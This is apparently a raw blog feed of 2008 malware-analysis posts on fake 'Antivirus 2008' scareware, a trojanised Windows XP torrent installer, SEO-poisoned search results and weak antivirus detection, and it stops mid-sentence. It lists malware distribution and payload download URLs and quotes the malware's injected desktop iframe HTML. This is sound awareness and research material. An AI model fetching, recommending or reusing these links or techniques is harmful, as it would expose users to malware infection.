id=&quot;status_nombre&quot;&gt;kbdvntcapi.dll after all this, detection hasn&#39;t really changed, 4 huristic decetions and 1 symantec keylogger detection, still a sad story (at least for most people :)&lt;/span&gt;&lt;br /&gt;http://www.virustotal.com/he/analisis/d51626cb8f0b04219b0ad4c010036f0d&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3pp3OVXARfoaG5Tdda6ZMXUl71U9cgPINBqEQ5jNYUpJVYJY8E6Jzze_nwrcKThzXkGKXfqzeBnInA5HDHwR5V59Uudx0CbE1ZwbBOMJZrwMHOiazIe4XwaAagrZJUIPLptBQkSynFj0V/s1600-h/capi.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3pp3OVXARfoaG5Tdda6ZMXUl71U9cgPINBqEQ5jNYUpJVYJY8E6Jzze_nwrcKThzXkGKXfqzeBnInA5HDHwR5V59Uudx0CbE1ZwbBOMJZrwMHOiazIe4XwaAagrZJUIPLptBQkSynFj0V/s400/capi.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246281359289201218&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, I uninstalled my kaspersky 2009 :)</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/5273668792830480325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/5273668792830480325' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5273668792830480325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5273668792830480325'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/keylogger-running-under-kaspersky-2009.html' title='Keylogger Running Under Kaspersky 2009'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj90SeSEUzUTwQfGrOfy9Qm22OZ62zJ7e6ZFBbSxVtYXAv9IfsgRXcXYB2KCkqxmELYmAXZAZmVEh3avbrxbYos61prVfemXNTMMrNHAd3iWmRCe4-7hr79cOYLiP4DYyQCeau2RasVIELy/s72-c/anaylsispic.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-5619642922884239043</id><published>2008-09-15T06:58:00.000-07:00</published><updated>2008-09-15T07:54:44.041-07:00</updated><title type='text'>AVs fail Again</title><content type='html'>Lately I have seen many web downloads, some at forums and some at rapidshare and also a few torrents such as &quot;Adobe Acrobat 9&quot; that include installation and a crack.&lt;br /&gt;The installation or crack is in a password protected rar file that in order to get the password, one must run the supplyed tool called &quot;XXX Password Generator&quot;.&lt;br /&gt;&lt;br /&gt;This installs another variant of the AntiVirus 2008, I can truely say I can&#39;t tell anymore if it comes from the same guys,  ok of course it&#39;s them but there is just no way they got so much man power to write so many completely different versions!!!&lt;br /&gt;Here are the websites it pops up to purchase from:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFrMdBz2qDzOO9j2tH1jC-hvPpctgmozAk9CJBa-J_3i8c3xygnEs4y_fI52VTTREWcpiPhGUVvquQae1a1Fos9aL1O_P5D4xCWCNcptr27kMsXYTDV0h87U4mkqZOZG9JvBv0MdsbC1fi/s1600-h/1.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFrMdBz2qDzOO9j2tH1jC-hvPpctgmozAk9CJBa-J_3i8c3xygnEs4y_fI52VTTREWcpiPhGUVvquQae1a1Fos9aL1O_P5D4xCWCNcptr27kMsXYTDV0h87U4mkqZOZG9JvBv0MdsbC1fi/s400/1.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246255167104978898&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUs8TPA9jhPAEx_JE_lzXA6ZKEG_8iyxDDzfGR0zt8VRktF6RZVznT0jF5piVh9v8omYX7BRBBTb1X7t5st_S3Q5JExrRjGjRdJ-Hsvor4nlti1SKHAL4H_WyH_d8RbdZFamvUYbJcRKv0/s1600-h/2.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUs8TPA9jhPAEx_JE_lzXA6ZKEG_8iyxDDzfGR0zt8VRktF6RZVznT0jF5piVh9v8omYX7BRBBTb1X7t5st_S3Q5JExrRjGjRdJ-Hsvor4nlti1SKHAL4H_WyH_d8RbdZFamvUYbJcRKv0/s400/2.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246255170136283522&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZvNzPPT-ZtDRGEMB4DhkqcCOM-PsTnVtLmNhKrrVZn8-j89IzuL8SsIr_h7Vb0oeF5MfjE7g4GFdq7dCEbkuYjNTXpWEgjotm_tPV65uHsPgq0sGYMWZGvhwhfwWie9SNPpx0UoK2JgV6/s1600-h/3.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZvNzPPT-ZtDRGEMB4DhkqcCOM-PsTnVtLmNhKrrVZn8-j89IzuL8SsIr_h7Vb0oeF5MfjE7g4GFdq7dCEbkuYjNTXpWEgjotm_tPV65uHsPgq0sGYMWZGvhwhfwWie9SNPpx0UoK2JgV6/s400/3.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246255174893472994&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEJIzWSwKUmPTWErmlCNftZZSwX-JmpWZspI7H19dg7SphyphenhyphenKnmP1v2vEMwveiGoPM5HwdylyA9vf75yoezS2uVRQk7Eo0USWuE7DujMLT9ZE74F4x8Eg4Fz6meyJ_HB5COuwJQGZwtAtOg/s1600-h/screenshot4.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEJIzWSwKUmPTWErmlCNftZZSwX-JmpWZspI7H19dg7SphyphenhyphenKnmP1v2vEMwveiGoPM5HwdylyA9vf75yoezS2uVRQk7Eo0USWuE7DujMLT9ZE74F4x8Eg4Fz6meyJ_HB5COuwJQGZwtAtOg/s400/screenshot4.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246255174793278562&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Installs executables at:&lt;br /&gt;%ProgramFiles%\Antivirus 2008\Antivirus-2008.exe&lt;br /&gt;which is today detected by 24 of 36 AV vendors&lt;br /&gt;http://www.virustotal.com/en/analisis/5ca67e83d763a44d2719de3c40ab0086&lt;br /&gt;&lt;br /&gt;This virus adds a scary DANGER! iframe to your desktop.htt, who would remove this for you?    &lt;blockquote&gt;&lt;\div style=&quot;position: absolute; left: 0pt; top: 0pt; width: 1280px; height: 836px;&quot;&gt;&lt;br /&gt;&lt;\img src=&quot;file:///C:/WINDOWS/web/wallpaper/Bliss.bmp&quot; cache=&quot;&quot; style=&quot;position: absolute; left: 0pt; top: 0pt; width: 100%; height: 100%;&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;\iframe id=&quot;1&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; name=&quot;DeskMovrW&quot; src=&quot;file:///C:%5CWINDOWS%5Cprivacy_danger%5Cindex.htm&quot; resizeable=&quot;XY&quot; subscribed_url=&quot;&quot; style=&quot;background: transparent none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; position: absolute; left: 0pt; top: 0pt; width: 1280px; height: 806px; z-index: 0;&quot; frameborder=&quot;0&quot;&gt; &lt;/blockquote&gt;It installed some dlls and executables which are very known to AVs:&lt;br /&gt;http://www.virustotal.com/en/analisis/3ed55959b67a666973798fa0c35f23f5&lt;br /&gt;http://www.virustotal.com/en/analisis/c44ccd7ef6b11f700a52042bdb09057f&lt;br /&gt;http://www.virustotal.com/en/analisis/ee13a4586807956432b3989534febf60&lt;br /&gt;http://www.virustotal.com/en/analisis/2af01563b34916780ac23799ec1368df&lt;br /&gt;http://www.virustotal.com/en/analisis/0e309871a713b62a6e68a0071ac54b06&lt;br /&gt;http://www.virustotal.com/en/analisis/1f5371eb356e9c893c3dbec8b496641b&lt;br /&gt;http://www.virustotal.com/en/analisis/0d012def38cd3adfe5ada8d7c45b3041&lt;br /&gt;http://www.virustotal.com/en/analisis/0d9eacd2a5c15fb03a91f2b044000bc3&lt;br /&gt;http://www.virustotal.com/en/analisis/bbef207525a04ba4152509a1e458d1e4&lt;br /&gt;&lt;br /&gt;There is as another variant I found called &quot;AntiMalwareGuard_Free.exe&quot; packed with PECompact 2.xx, this is considered detected relatevly to the other variants 19 of 36 AV vendors detect it.&lt;br /&gt;http://www.virustotal.com/en/analisis/c0b7c0498a9b0f684f9e3cbbcc0e5b53&lt;br /&gt;&lt;br /&gt;So where is the problem???&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;The Troajn Downloader it self wasn&#39;t detected by any vendor and now 2 month after&lt;/span&gt; I found it (which means&lt;span style=&quot;font-weight: bold;&quot;&gt; the vendors got the samples from my virustotal file upload&lt;/span&gt; 2 month ago), now it is detected by only 15 AV vendors!!!&lt;br /&gt;http://www.virustotal.com/he/analisis/a38ab04057b44c6bd870ef0446a19a5e&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Kaspersky! McAfee! TrendMicro! Panda! F-Secure! Fortinet!  Where are you people?!?!?!?!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:130%;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;The malicious guys have no problem replacing the executables at the server side to avoid detection, they even have the man power to write completely new ones.&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/5619642922884239043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/5619642922884239043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5619642922884239043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5619642922884239043'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/avs-fail-again.html' title='AVs fail Again'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFrMdBz2qDzOO9j2tH1jC-hvPpctgmozAk9CJBa-J_3i8c3xygnEs4y_fI52VTTREWcpiPhGUVvquQae1a1Fos9aL1O_P5D4xCWCNcptr27kMsXYTDV0h87U4mkqZOZG9JvBv0MdsbC1fi/s72-c/1.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-6350945727044927677</id><published>2008-09-15T05:28:00.001-07:00</published><updated>2008-09-17T06:11:26.262-07:00</updated><title type='text'>Google fooled by the &quot;Fake Anti-Virus Virus&quot;</title><content type='html'>You probably know by now about the fake Anti-Virus that is planted everywhere to fool people into buying it, go figure maby it will self update some day and will start stealing bank accounts...&lt;br /&gt;I can&#39;t believe we have come to this to point where it is so spread and has so much different domains and versions and nobody stops them!!!&lt;br /&gt;The internet needs some kind of global FBI to keep control over these criminals!!!&lt;br /&gt;These guys operate from Russia and they are the &quot;180 Solutions&quot; team (i proove it below)  which shows everyone that a criminal business in the internet is profitable and grows over the last 5 years, at least if its running from a country safe for cyber criminals (Russia!!!)&lt;br /&gt;&lt;br /&gt;These is a wide viral network and they check for existance of any of their products, I saved the list of internet explorer blocked/trusted they look here: http://theinsider.deep-ice.com/evilnetwork.txt&lt;br /&gt;&lt;br /&gt;So they infect us through cracks and software installations (fake setups, SFX, exe binding) and p2p (torrent, emule) and of course OS and browser exploits through warez websites.&lt;br /&gt;Still, something is missing... it&#39;s working too well this time! well get this!!&lt;br /&gt;&lt;br /&gt;Please join  my experiment, let&#39;s assume someone just opends google and wants to download the mp3 of the Sopranos T.V series titled &quot;you got yourself a gun&quot;, so he should search &quot;download mp3 sopranos got yourself a gun&quot;, you can test it yourself:&lt;br /&gt;&lt;br /&gt;http://www.google.com/search?hl=iw&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Ahe%3Aofficial&amp;amp;hs=X1V&amp;amp;q=download+mp3+sopranos+got+yourself+a+gun&amp;amp;btnG=%D7%97%D7%99%D7%A4%D7%95%D7%A9&amp;amp;meta=&lt;br /&gt;&lt;br /&gt;Last week result number three was:&lt;br /&gt;&lt;blockquote&gt;Sopranos Theme Song&lt;br /&gt;You woke up this morning Got yourself a gun, Complete Guide to Entertaining - Sopranos Stile! Entertaining with The Sopranos May 25, 2008 Download Sopranos ...&lt;br /&gt;www.geocities.com/owhfmqhoqxu/sopranos-theme-song.html - 13k&lt;/blockquote&gt;&lt;br /&gt;Now result number six is :&lt;br /&gt;&lt;blockquote&gt;mas woemns rights woems woemsn bottle opener woen woen am woen of ...&lt;br /&gt;... up this morning got yourself a woke up this morning got yourself a gun woke ... sopranos woke up this morning mp3 woke up this morning mp3 sopranos woke ...&lt;br /&gt;http://hauton.net/2/2289/ - 35k&lt;/blockquote&gt;One can clearly see that last week result is very very convincing and the new one is also similar to a way a warez/mp3 website would appear in google, this leads directly to a page with auto download offering of this fraud virus.&lt;br /&gt;&lt;br /&gt;1) Why isn&#39;t this blocked by google who &quot;maps all the evil pages in the world&quot;?!&lt;br /&gt;2) Google search engine is helping the bad guys to publish their virus in the top 10 results!&lt;br /&gt;&lt;br /&gt;This issue goes way byhond searching for downloads, I even got it seaching people:&lt;br /&gt;http://vivocurtindo.com.br/galeriaa/css/_images/toyota-tazz-wiring/my_searched_keyword1&lt;google_search_keyword1&gt;-&lt;google_search_keyword2&gt;&lt;/google_search_keyword2&gt;&lt;/google_search_keyword1&gt;my_searched_keyword2&lt;google_search_keyword1&gt;&lt;google_search_keyword2&gt;-home.html&lt;br /&gt;&lt;br /&gt;This viral network is so large I truely believe only government power can stop it.&lt;br /&gt;Some of the endless domains they use to spread this virus:&lt;br /&gt;http://hauton.net/&lt;br /&gt;http://www.geocities.com/owhfmqhoqxu/&lt;br /&gt;http://scan.av2008check.com/100567/5/&lt;br /&gt;http://dnld.av2008dl.com/load/setup_100567_4_.exe&lt;br /&gt;http://antivirus-2008pro.com/scanner.php?aff=DB&lt;br /&gt;http://antivir--2008.com/buy.php?aff=1001&lt;br /&gt;http://antimalwareguardpro.com/2009/12/?cmpname=cspffxamg&amp;amp;a=cspamg&amp;amp;l=160&amp;amp;f=cs_189355130&amp;amp;ax=1&amp;amp;ed=2&amp;amp;h=10&amp;amp;ex=5&amp;amp;eu=http%3A%2F%2Fad2cash.net%2F%3Fcmpname%3Dcsppcpc%26a%3Dcsp_amex%26l%3D160%26f%3Dcs_189355130&amp;amp;al=&amp;amp;sub=csp&amp;amp;mt_info=6278_0_25073&amp;amp;rdr=1&lt;br /&gt;http://top-pc-scanner.com/1/?xx=1&amp;amp;in=2&amp;amp;ag=2&amp;amp;end=1&amp;amp;g=1&amp;amp;affid=312&amp;amp;lid=1#&lt;br /&gt;http://scan.free-antispyware-scanner.com/100567/4/?q=&lt;br /&gt;http://dnld.getavxp.com/load/setup_100567_4_.exe&lt;br /&gt;http://thefreescanner.com/4913144/1/1/&lt;br /&gt;http://scanner.vav-x-scanner.com/36/?advid=0000004683&lt;br /&gt;http://scanner.ms-scanner.com/35/?advid=0000004683&lt;br /&gt;&lt;br /&gt;b.t.w its extremely intelligent to create a &quot;virus not considered as a virus&quot; and spread it as a fraud software which no law inforcment cares about and then once its planted in millions of computers just update it to do steal you want and then even change it back...combination of a breach in the law and in the way viruses are treated by the AV insdustry.&lt;/google_search_keyword2&gt;&lt;/google_search_keyword1&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/6350945727044927677/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/6350945727044927677' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6350945727044927677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6350945727044927677'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/google-fooled-by-fake-anti-virus-virus.html' title='Google fooled by the &quot;Fake Anti-Virus Virus&quot;'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-8873739007022285294</id><published>2008-09-13T14:37:00.000-07:00</published><updated>2008-09-15T05:25:45.989-07:00</updated><title type='text'>SO Common and yet EVIL goes free :)</title><content type='html'>Before I start this one, I must say I never thought of myself as a blogger.&lt;br /&gt;I was always reading other people&#39;s blog thinking they try to be &quot;I am cool I have a blog&quot; kind of people. Well, I just think the malicious stuff I see everyday should be shared with YOU :)&lt;br /&gt;&lt;br /&gt;At these times, torrents are currently the world&#39;s most active network for file sharing. The current windows version is always One of the most shared files and therefore crime follows there :)&lt;br /&gt;&lt;br /&gt;I recently decided to put it to the test and downloade the most &quot;seeded&quot; file I found, which was &quot;Windows XP Pro.Corp. Edition SP3 June 2008 Update + SATA Driver&quot;, this is still one of the most shared files. Of course I scanned it using the latest fully updated version of Kaspersky 2009 and Dr.Web which according to my test, are currently the best detectors on the market. Well, nothing was found...&lt;br /&gt;&lt;br /&gt;So I load the iso, the AutoRun executes and I just &quot;feel&quot; something is wrong!! I look at Process Explorer and I see a process called &quot;file.exe&quot;...hmmmmm....&lt;br /&gt;I figured out that the bad guys replaced the original &quot;setup.exe&quot; with a silent self extract WinRar installation with the original setup icon, it extracts a Trojan Downloader called file.exe and the original setup.exe to the temp directory and executes both the Trojan and the original setup (with CurrentDirectory as the winrar install path).&lt;br /&gt;&lt;br /&gt;Here is a scan of the malicious &quot;setup.exe&quot; (today, 2 month after I found this) installer:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkDour3vUg6oJWCKLSjWsnxq_wOIqU7BxBcTpF6y5Dbw-Uf4UXEg0j6yMc1Adzh1gKP3ZvcfpzGHB6FlH2hCnRa-rdUbvRPO2RD-VhGQTyKupuy-sVyZa9fiurUNlPaH-bEoWSLfGvjf4o/s1600-h/antiviruses.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkDour3vUg6oJWCKLSjWsnxq_wOIqU7BxBcTpF6y5Dbw-Uf4UXEg0j6yMc1Adzh1gKP3ZvcfpzGHB6FlH2hCnRa-rdUbvRPO2RD-VhGQTyKupuy-sVyZa9fiurUNlPaH-bEoWSLfGvjf4o/s400/antiviruses.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5245636132848874674&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;I said O.K maby they didn&#39;t go through the trouble marking the &quot;Installer&quot;, but they did all detect the Trojan Downloader, right?&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZOgvm6QcNVZjhatvdp0PJFjO7hXujP0yBpYoyxFuo4QRNDm8xNb4zlUlZmP_5hvxVfr0HSvDZdeCXX-e2flGeE4NPNbgroqqdBQoeSe8eXxOZo-XhYLo6LCS2HJiSq2WQZK6Mw60OByFc/s1600-h/antiviruses2.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZOgvm6QcNVZjhatvdp0PJFjO7hXujP0yBpYoyxFuo4QRNDm8xNb4zlUlZmP_5hvxVfr0HSvDZdeCXX-e2flGeE4NPNbgroqqdBQoeSe8eXxOZo-XhYLo6LCS2HJiSq2WQZK6Mw60OByFc/s400/antiviruses2.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5245637772337833970&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Well, they didn&#39;t :)&lt;br /&gt;This is really funny to see that all you need to be &quot;a top notch&quot; malicious software is to just download WinRar and NIST (NullSoft Installation System) and create a windows xp sp3 installation torrent, this is after 20 years of Anti-Virus security techonology by 7 billion dollar a year market.&lt;br /&gt;&lt;br /&gt;More funny stuff! the author of this virus was so lazy he just put a list the relative path to the real setup executable of all the software he will infect and share in the internet so the &quot;setup.exe&quot; he made will now try to execute a list of files which only one should exist on your infected download :)&lt;br /&gt;Some Examples:&lt;br /&gt;\Game\wws98.exe&lt;br /&gt;\WinRoute.exe&lt;br /&gt;\GAME\LBWIN.EXE&lt;br /&gt;\vs.exe&lt;br /&gt;\Pandora.exe&lt;br /&gt;&lt;br /&gt;Be aware of what you download! it seems the best way to tell if its an infected setup is to right click setup.exe and see if WinRar suggests &quot;Extract To&quot; (I am joking of course)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The executed &quot;file.exe&quot; downloaded http://www.cxgr.com/3913574.exe which is also a NIST file and also a Trojan Downloader and my upload was the first time it was scanned in virustotal and you can guess the results:&lt;br /&gt;&lt;/p&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix8S6f730wbwwg9McH0CudYvg4LsHTxlGu7UehjrRpuvrxC_POoyWPo5sZpLxWDr3g4mqZE27HXNd9y8isXhAkAuIAmNNurmAf7VMF9mmAIotgmXsvnRuf-PVzMqYtqJSZEpZyfR9ZYTDc/s1600-h/antiviruses3.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix8S6f730wbwwg9McH0CudYvg4LsHTxlGu7UehjrRpuvrxC_POoyWPo5sZpLxWDr3g4mqZE27HXNd9y8isXhAkAuIAmNNurmAf7VMF9mmAIotgmXsvnRuf-PVzMqYtqJSZEpZyfR9ZYTDc/s400/antiviruses3.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5245656683324266722&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Whats really annoying me in this result is that the 3-4 Anti-Viruses that &quot;supply a solution&quot; above and detect the downloader DOES NOT DETECT THE CONSTANT FILE IT DOWNLOADS which means all 